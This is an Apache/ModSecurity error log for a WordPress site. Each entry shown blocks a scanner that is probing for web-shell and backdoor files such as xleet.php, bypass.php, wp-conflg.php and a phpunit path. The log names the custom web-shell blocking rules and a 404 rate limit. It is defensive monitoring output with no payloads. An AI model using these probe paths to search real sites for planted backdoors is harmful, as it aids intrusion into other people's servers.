[Sat Feb 28 08:44:16.731172 2026] [:error] [pid 39185:tid 39260] [client 173.244.55.28:36931] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aaI6YBVE-FfM89u7BQaboAAAAI4"]
[Sat Feb 28 08:44:18.520063 2026] [:error] [pid 39183:tid 39215] [client 173.244.55.22:59109] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-head.php"] [unique_id "aaI6YhCf4HvhVePw3LadDQAAABc"]
[Sat Feb 28 08:44:19.412003 2026] [proxy_fcgi:error] [pid 39292:tid 39303] [client 173.244.55.26:42343] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:20.753490 2026] [proxy_fcgi:error] [pid 39292:tid 39307] [client 173.244.55.26:42343] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:21.195189 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.26:42343] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aaI6ZaIAO5fN7BxyqcEq_QAAANg"]
[Sat Feb 28 08:44:22.962725 2026] [:error] [pid 39185:tid 39250] [client 173.244.55.26:34495] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aaI6ZhVE-FfM89u7BQacEQAAAIQ"]
[Sat Feb 28 08:44:24.293504 2026] [proxy_fcgi:error] [pid 39292:tid 39314] [client 173.244.55.28:22219] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:25.618415 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.28:22219] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aaI6aaIAO5fN7BxyqcErVAAAAM0"]
[Sat Feb 28 08:44:28.741819 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.31:38909] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aaI6bKIAO5fN7BxyqcErbwAAAMI"]
[Sat Feb 28 08:44:29.635478 2026] [proxy_fcgi:error] [pid 11791:tid 11812] [client 173.244.55.29:25023] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:30.075928 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.29:25023] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aaI6bmuX5e1Q32gqxH0XcAAAAQc"]
[Sat Feb 28 08:44:30.957425 2026] [proxy_fcgi:error] [pid 11791:tid 11805] [client 173.244.55.31:31753] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:31.391611 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.31:31753] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aaI6b2uX5e1Q32gqxH0XnQAAARU"]
[Sat Feb 28 08:44:32.264120 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.30:24831] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aaI6cKIAO5fN7BxyqcErewAAAMI"]
[Sat Feb 28 08:44:34.476853 2026] [proxy_fcgi:error] [pid 22194:tid 22206] [client 173.244.55.26:50169] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:35.369379 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.26:50169] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aaI6c36mbajs3bzQGyuWSQAAAUg"]
[Sat Feb 28 08:44:36.252413 2026] [proxy_fcgi:error] [pid 39185:tid 39267] [client 173.244.55.22:38841] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:38.037446 2026] [proxy_fcgi:error] [pid 39185:tid 39250] [client 173.244.55.22:38841] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:38.473157 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.22:38841] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aaI6dhVE-FfM89u7BQacowAAAJQ"]
[Sat Feb 28 08:44:40.250490 2026] [proxy_fcgi:error] [pid 11791:tid 11812] [client 173.244.55.30:23683] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:41.138763 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.30:23683] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaI6eWuX5e1Q32gqxH0YYAAAAQM"]
[Sat Feb 28 08:44:42.017134 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.25:39133] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aaI6eqIAO5fN7BxyqcErzwAAAMs"]
[Sat Feb 28 08:44:43.773090 2026] [:error] [pid 11791:tid 11801] [client 173.244.55.23:49425] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aaI6e2uX5e1Q32gqxH0YewAAAQg"]
[Sat Feb 28 08:44:45.532206 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.29:24617] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/routes/bypass.php"] [unique_id "aaI6fWuX5e1Q32gqxH0YjwAAAQI"]
[Sat Feb 28 08:44:46.873277 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.25:35563] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aaI6fn6mbajs3bzQGyuW2AAAAUY"]
[Sat Feb 28 08:44:47.743800 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.26:51427] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aaI6f2uX5e1Q32gqxH0YtwAAARA"]
[Sat Feb 28 08:44:49.062594 2026] [proxy_fcgi:error] [pid 39292:tid 39314] [client 173.244.55.21:54367] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:51.288845 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.21:54367] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aaI6g6IAO5fN7BxyqcEsXwAAAMg"]
[Sat Feb 28 08:44:53.060141 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.21:32777] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aaI6hWuX5e1Q32gqxH0ZKQAAAQw"]
[Sat Feb 28 08:44:53.934602 2026] [:error] [pid 39292:tid 39306] [client 173.244.55.26:58473] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aaI6haIAO5fN7BxyqcEsiQAAAMw"]
[Sat Feb 28 08:44:55.298841 2026] [proxy_fcgi:error] [pid 11791:tid 11799] [client 173.244.55.21:58705] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:55.747043 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.21:58705] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aaI6h2uX5e1Q32gqxH0ZaQAAARM"]
[Sat Feb 28 08:44:57.059598 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.29:64729] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aaI6iX6mbajs3bzQGyuXWAAAAUE"]
[Sat Feb 28 08:45:00.179274 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.20:35731] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aaI6jGuX5e1Q32gqxH0ZwgAAAQU"]
[Sat Feb 28 08:45:01.533053 2026] [proxy_fcgi:error] [pid 39292:tid 39298] [client 173.244.55.29:23061] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:45:01.976496 2026] [:error] [pid 39292:tid 39308] [client 173.244.55.29:23061] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aaI6jaIAO5fN7BxyqcEs0gAAAM4"]
[Sat Feb 28 08:45:03.753621 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.31:29273] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aaI6j36mbajs3bzQGyuXtgAAAUc"]
[Sat Feb 28 08:45:05.081611 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.22:43375] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/as.php"] [unique_id "aaI6kaIAO5fN7BxyqcEs9wAAAM8"]
[Sat Feb 28 08:45:06.402997 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.22:47883] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aaI6kmuX5e1Q32gqxH0aQQAAARA"]
[Sat Feb 28 08:45:07.315271 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.28:36769] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/install.php"] [unique_id "aaI6k2uX5e1Q32gqxH0aWQAAARA"]
[Sat Feb 28 08:45:08.205657 2026] [:error] [pid 39183:tid 39196] [client 173.244.55.29:21977] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aaI6lBCf4HvhVePw3LaeCgAAAAQ"]
[Sat Feb 28 08:45:11.752516 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.22:50603] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aaI6l36mbajs3bzQGyuYMgAAAUg"]
[Sat Feb 28 08:45:12.623003 2026] [:error] [pid 39183:tid 39202] [client 173.244.55.20:51367] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/content.php"] [unique_id "aaI6mBCf4HvhVePw3LaeEAAAAAo"]
[Sat Feb 28 08:45:14.397080 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.30:34249] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/bypass.php"] [unique_id "aaI6mn6mbajs3bzQGyuYTQAAAUY"]
[Sat Feb 28 08:45:15.275093 2026] [:error] [pid 39183:tid 39213] [client 173.244.55.28:61567] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/bypass.php"] [unique_id "aaI6mxCf4HvhVePw3LaeJAAAABU"]
[Sat Feb 28 08:45:16.600117 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.25:45113] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aaI6nGuX5e1Q32gqxH0a5AAAARY"]
[Sat Feb 28 08:45:17.928213 2026] [:error] [pid 11791:tid 11794] [client 173.244.55.26:45887] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aaI6nWuX5e1Q32gqxH0a_QAAAQE"]
[Sat Feb 28 08:45:18.798704 2026] [:error] [pid 39184:tid 39238] [client 173.244.55.22:59857] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aaI6nltZF9Zd_U7easB8HwAAAFM"]
[Sat Feb 28 08:45:19.673766 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.26:30351] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aaI6n2uX5e1Q32gqxH0bIQAAARM"]
[Sat Feb 28 08:45:20.562190 2026] [proxy_fcgi:error] [pid 22194:tid 22200] [client 173.244.55.31:26459] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:45:21.001755 2026] [proxy_fcgi:error] [pid 22194:tid 22217] [client 173.244.55.31:26459] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:45:21.449485 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.31:26459] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aaI6oX6mbajs3bzQGyuYlwAAAUg"]
[Sat Feb 28 08:45:23.916718 2026] [:error] [pid 39184:tid 39236] [client 173.244.55.22:25819] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aaI6o1tZF9Zd_U7easB8YQAAAFE"]
[Sat Feb 28 08:45:24.800089 2026] [proxy_fcgi:error] [pid 39183:tid 39211] [client 173.244.55.30:36539] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:45:25.687666 2026] [:error] [pid 39183:tid 39200] [client 173.244.55.30:36539] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/system_cache.php"] [unique_id "aaI6pRCf4HvhVePw3LaeXAAAAAg"]
[Sat Feb 28 08:45:27.464327 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.26:46821] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/files.php"] [unique_id "aaI6p2uX5e1Q32gqxH0bYwAAARA"]
[Sat Feb 28 08:45:29.230972 2026] [:error] [pid 39184:tid 39232] [client 173.244.55.30:61679] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aaI6qVtZF9Zd_U7easB8kgAAAE0"]
[Sat Feb 28 08:45:30.547777 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.26:51943] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aaI6qn6mbajs3bzQGyuY9wAAAUw"]
[Sat Feb 28 08:45:31.869193 2026] [:error] [pid 39185:tid 39269] [client 173.244.55.22:29625] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aaI6qxVE-FfM89u7BQafBgAAAJc"]
[Sat Feb 28 08:45:33.215482 2026] [proxy_fcgi:error] [pid 11791:tid 11799] [client 173.244.55.28:52555] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:45:33.657213 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.28:52555] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aaI6rWuX5e1Q32gqxH0btgAAAQQ"]
[Sat Feb 28 08:45:36.290892 2026] [:error] [pid 22194:tid 22205] [client 173.244.55.26:51957] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd-1/kurd.php"] [unique_id "aaI6sH6mbajs3bzQGyuZZQAAAUk"]
[Sat Feb 28 08:45:37.607368 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.23:32871] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/tflow/install.php"] [unique_id "aaI6sX6mbajs3bzQGyuZkQAAAUc"]
[Sat Feb 28 08:45:38.488000 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.29:49157] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/tflow/install.php"] [unique_id "aaI6sn6mbajs3bzQGyuZsQAAAVU"]
